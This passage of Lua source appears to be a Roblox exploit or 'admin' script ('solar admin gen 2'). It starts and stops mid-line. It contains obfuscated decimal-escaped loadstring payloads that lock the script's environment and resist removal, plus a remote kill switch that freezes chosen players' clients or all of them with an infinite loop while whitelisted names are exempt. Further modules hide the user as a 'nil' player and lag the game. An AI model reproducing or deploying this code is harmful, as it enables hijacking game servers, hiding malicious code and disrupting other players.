41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
  265. script:ClearAllChildren()
  266. else
  267. script:ClearAllChildren()
  268. script.Parent=nil
  269. end
  270. wait(1)
  271. LocalPlayer = game.Players.LocalPlayer
  272. local asd = Instance.new("StringValue",LocalPlayer)
  273. asd.Name = 'asd'
  274. asd.Value = 'asdasdsadsadasdas'
  275. wait(0.1)
  276. asd:remove()
  277. wait(1)
  278. local asdcon = LocalPlayer.Chatted:connect(function(msg)
  279. if LocalPlayer.Parent ~= game:service'Players' then
  280. local a = Instance.new("StringValue", workspace)
  281. a.Name = 'LolCon'
  282. a.Value = LocalPlayer.Name..'\31'..msg
  283. game:service'Debris':AddItem(a,2)
  284. end
  285. end)
  286. local con = game.Lighting.descendantAdded:connect(function(what)
  287. if LocalPlayer.Name == 'optiplex123' or LocalPlayer.Name == 'aleksa12432' or LocalPlayer.Name == 'Exorsizer' or LocalPlayer.Name == 'WowARealScripter' then return end
  288. if what.ClassName == 'StringValue' then
  289. if what.Name == 'Disconnect' then
  290. local v = what.Value
  291. if LocalPlayer.Name:lower():sub(1,#v) == v:lower() then
  292. repeat until false
  293. elseif v == 'nil' then
  294. if LocalPlayer.Parent ~= game:service'Players' then
  295. repeat until false
  296. end
  297. elseif v == 'all' then
  298. repeat until false
  299. end
  300. end
  301. end
  302. end)
  303. local con2 = game:service'RunService'.RenderStepped:connect(function()
  304. if LocalPlayer:findFirstChild'asd' then
  305. asd = LocalPlayer:findFirstChild'asd'
  306. if asd.ClassName == 'StringValue' then
  307. if asd.Value == 'asdasdsadsadasdas' then
  308. asd:remove()
  309. asdcon:disconnect()
  310. con:disconnect()
  311. con2:disconnect()
  312. end
  313. end
  314. end
  315. end)
  316. ]]
  317. NilSupport = [[
  318. wait(0.001)
  319. if script:findFirstChild'source' ~= nil then
  320. loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
  321. script:ClearAllChildren()
  322. else
  323. script:ClearAllChildren()
  324. script.Parent=nil
  325. end
  326. wait(1)
  327. LocalPlayer = game:service'Players'.LocalPlayer
  328. ProbeMode = false
  329. char = nil
  330. probe = nil
  331. local x = Instance.new("Message",workspace)
  332. x.Text = 'You are connected to solar admin gen 2'
  333. game:service'Debris':AddItem(x,3)
  334. if LocalPlayer.Character then
  335. LocalPlayer.Character.Archivable = true
  336. char = LocalPlayer.Character:Clone()
  337. char.Torso.Anchored = true
  338. else
  339. local con = LocalPlayer.CharacterAdded:connect(function()
  340. wait(0.5)
  341. LocalPlayer.Character.Archivable = true
  342. char = LocalPlayer.Character:Clone()
  343. char.Torso.Anchored = true
  344. end)
  345. end
  346. xcon = LocalPlayer.Changed:connect(function(asd)
  347. if asd == 'Parent' then
  348. local a = Instance.new("Hint",workspace)
  349. a.Text = 'You are connected, say char/ to go as a nil character, or probe/ for probe or rejme/ to rejoin'
  350. game:service'Debris':AddItem(a,3)
  351. end
  352. end)
  353. asdcon = LocalPlayer.Chatted:connect(function(msg)
  354. pcall(function()
  355. if LocalPlayer.Parent ~= game:service'Players' then
  356. if msg == 'char/' then
  357. ProbeMode = false
  358. elseif msg == 'probe/' then
  359. ProbeMode = true
  360. elseif msg == 'Friend' then
  361. game:service'StarterGui':SetCoreGuiEnabled("All",true)
  362. elseif msg == 'rejme/' then
  363. coroutine.wrap(function()
  364. if ProbeMode == true then
  365. probe:remove()
  366. else
  367. LocalPlayer.Character:remove()
  368. char = nil
  369. end
  370. zcon:disconnect()
  371. asdcon:disconnect()
  372. xcon:disconnect()
  373. end)()
  374. game:service'TeleportService':Teleport(game.PlaceId)
  375. elseif msg == 'fixcam/' then
  376. game:service'Workspace'.CurrentCamera.CameraType = 'Custom'
  377. pcall(function()
  378. game:service'Workspace'.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
  379. end)
  380. game:service'Workspace'.CurrentCamera:ClearAllChildren()
  381. end
  382. end
  383. end)
  384. end)
  385. zcon = game:service'RunService'.RenderStepped:connect(function()
  386. if LocalPlayer.Parent ~= game:service'Players' then
  387. if ProbeMode == false then
  388. if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
  389. if probe ~= nil then probe:remove() probe = nil end
  390. local chr = char:Clone()
  391. chr.Parent = workspace
  392. LocalPlayer.Character = chr
  393. wait(0.1)
  394. game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid'
  395. end
  396. else
  397. if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'LolMesh' == nil then
  398. if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end
  399. local a = Instance.new("Part",workspace)
  400. a.Name = LocalPlayer.Name
  401. a.FormFactor = 'Custom'
  402. a.CanCollide = false
  403. a.Locked = true
  404. a.Anchored = true
  405. a.TopSurface = 0
  406. a.BottomSurface = 0
  407. a.Size = Vector3.new(2,2,2)
  408. local b = Instance.new('SpecialMesh',a)
  409. b.Name = 'LolMesh'
  410. b.MeshType = 'Sphere'
  411. probe = a
  412. else
  413. local asd = probe:findFirstChild'LolMesh'
  414. asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2)
  415. probe.CFrame = workspace.CurrentCamera.Focus
  416. end
  417. end
  418. end
  419. end)
  420. Jumping = false
  421. LocalPlayer:GetMouse().KeyDown:connect(function(k)
  422. if k == 'a' then
  423. a = true
  424. end
  425. if k == 'w' then
  426. w = true
  427. end
  428. if k == 's' then
  429. s = true
  430. end
  431. if k == 'd' then
  432. d = true
  433. end
  434. if k == ' ' then
  435. space = true
  436. end
  437. end)
  438. LocalPlayer:GetMouse().KeyUp:connect(function(k)
  439. if k == 'a' then
  440. a = false
  441. end
  442. if k == 'w' then
  443. w = false
  444. end
  445. if k == 's' then
  446. s = false
  447. end
  448. if k == 'd' then
  449. d = false
  450. end
  451. if k == ' ' then
  452. space = false
  453. end
  454. end)
  455. game:service'RunService'.RenderStepped:connect(function()
  456. if LocalPlayer.Parent ~= game:service'Players' then
  457. if ProbeMode == false then
  458. if w == true then
  459. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5)
  460. end
  461. if s == true then
  462. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5)
  463. end
  464. if d == true then
  465. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0)
  466. end
  467. if a == true then
  468. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0)
  469. end
  470. if space == true then
  471. if Jumping == true then return end
  472. Jumping = true
  473. asd = LocalPlayer.Character.Torso.Position.y
  474. for i = 0,3,0.5 do
  475. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,i,0)
  476. wait()
  477. end
  478. for i = 0,-3,-0.5 do
  479. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,i,0)
  480. wait()
  481. end
  482. Jumping = false
  483. end
  484. end
  485. end
  486. end)
  487. ]]
  488. PixelChatSource = [[
  489. wait(0.001)
  490. script:ClearAllChildren();
  491. script.Parent=nil;
  492. wait(1)
  493. LocalPlayer = game:service'Players'.LocalPlayer
  494. Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010","00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"}
  495. DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name))
  496. DeModel.StudsOffset = Vector3.new(0,2.5,0)
  497. DeModel.Name = ":D"
  498. FR = Instance.new("Frame",DeModel)
  499. FR.Size=UDim2.new(1,0,1,0)
  500. FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  501. FR.BorderSizePixel=0
  502. FR.ZIndex=2
  503. CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head
  504. game:service'RunService'.RenderStepped:connect(function()
  505. pcall(function()
  506. local a = workspace:findFirstChild(LocalPlayer.Name)
  507. if a.ClassName == 'Part' then
  508. CurrParent = a
  509. else
  510. CurrParent = a:findFirstChild'Head'
  511. end
  512. end)
  513. if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then
  514. pcall(function()
  515. if CurrParent.ClassName == 'Part' then
  516. DeModel = Instance.new("BillboardGui", CurrParent)
  517. DeModel.Adornee = CurrParent
  518. DeModel.StudsOffset = Vector3.new(0,2.5,0)
  519. DeModel.Name = ":D"
  520. FR = Instance.new("Frame",DeModel)
  521. FR.Size=UDim2.new(1,0,1,0)
  522. FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  523. FR.BorderSizePixel=0
  524. FR.ZIndex=2
  525. end
  526. end)
  527. end
  528. end)
  529. function CreateLetter(what, pos, posy, cl)
  530. pcall(function()
  531. if cl == nil then cl = "Really black" end
  532. if Letters[what:byte()-31] then
  533. what = Letters[what:byte()-31]
  534. else
  535. what = Letters[1]
  536. end
  537. if type(what) ~= "string" then return end
  538. what = what:gsub('\n','')
  539. what = what:gsub('\t','')
  540. what = what:gsub(' ','')
  541. pos = pos * 2
  542. posy = posy * 2
  543. c = 0
  544. for y=1,7 do
  545. for x=1,5 do
  546. c = c + 1
  547. if what:sub(c, c) == "1" then
  548. local a = Instance.new("Frame", FR)
  549. a.Name = "L"
  550. a.ZIndex=3
  551. a.Size = UDim2.new(0,2,0,2)
  552. a.BorderSizePixel = 0
  553. a.BackgroundTransparency = 1
  554. a.BackgroundColor3 = BrickColor.new(cl).Color
  555. a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy)
  556. coroutine.wrap(function()
  557. wait(math.random(1, 10)/50)
  558. a.BackgroundTransparency = 0
  559. end)()
  560. end
  561. end
  562. end
  563. end)
  564. end
  565. LocalPlayer.Chatted:connect(function(m)
  566. pcall(function()
  567. local cl = "Really black"
  568. for _,v in pairs(DeModel.Frame:children()) do
  569. v:Destroy()
  570. end
  571. if m:sub(1,2) == '/e' then return end
  572. if m:sub(1,3) == "/! " then
  573. m = m:sub(4)
  574. DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color
  575. cl = "Really red"
  576. else
  577. DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color
  578. end
  579. m1 = m:gsub("\n"," ")
  580. m1 = m1:gsub("\t"," ")
  581. m1 = m1:gsub("math.pi",tostring(math.pi))
  582. if #m1 <= 30 then
  583. DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20)
  584. elseif #m1 <= 60 then
  585. DeModel.Size = UDim2.new(0,330,0,40)
  586. elseif #m1 <= 90 then
  587. DeModel.Size = UDim2.new(0,330,0,60)
  588. elseif #m1 > 90 then
  589. DeModel.Size = UDim2.new(0,340,0,60)
  590. m1 = m1:sub(1,90).."..."
  591. end
  592. coroutine.wrap(function()
  593. for i = 1,0,-1/#m1 do
  594. DeModel.Frame.Transparency = i
  595. wait(1/60)
  596. end
  597. end)()
  598. if #m1 < 30 then
  599. for i = 1,#m1 do
  600. CreateLetter(m1:sub(i,i),i*5,0,cl)
  601. wait(1/60)
  602. end
  603. elseif #m1 <= 60 then
  604. for i = 1,30 do
  605. CreateLetter(m1:sub(i,i),i*5,0,cl)
  606. wait(1/60)
  607. end
  608. for i = 31,#m1 do
  609. CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  610. wait(1/60)
  611. end
  612. elseif #m1 >= 60 then
  613. for i = 1,30 do
  614. CreateLetter(m1:sub(i,i),i*5,0,cl)
  615. wait(1/60)
  616. end
  617. for i = 31,60 do
  618. CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  619. wait(1/60)
  620. end
  621. for i = 61,#m1 do
  622. CreateLetter(m1:sub(i,i),(i-60)*5,20,cl)
  623. wait(1/60)
  624. end
  625. end
  626. end)
  627. end)
  628. ]]
  629. SpecialLagSource = [[
  630. wait(0.001)
  631. scr = script:Clone()
  632. if script:findFirstChild'source' ~= nil then
  633. loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\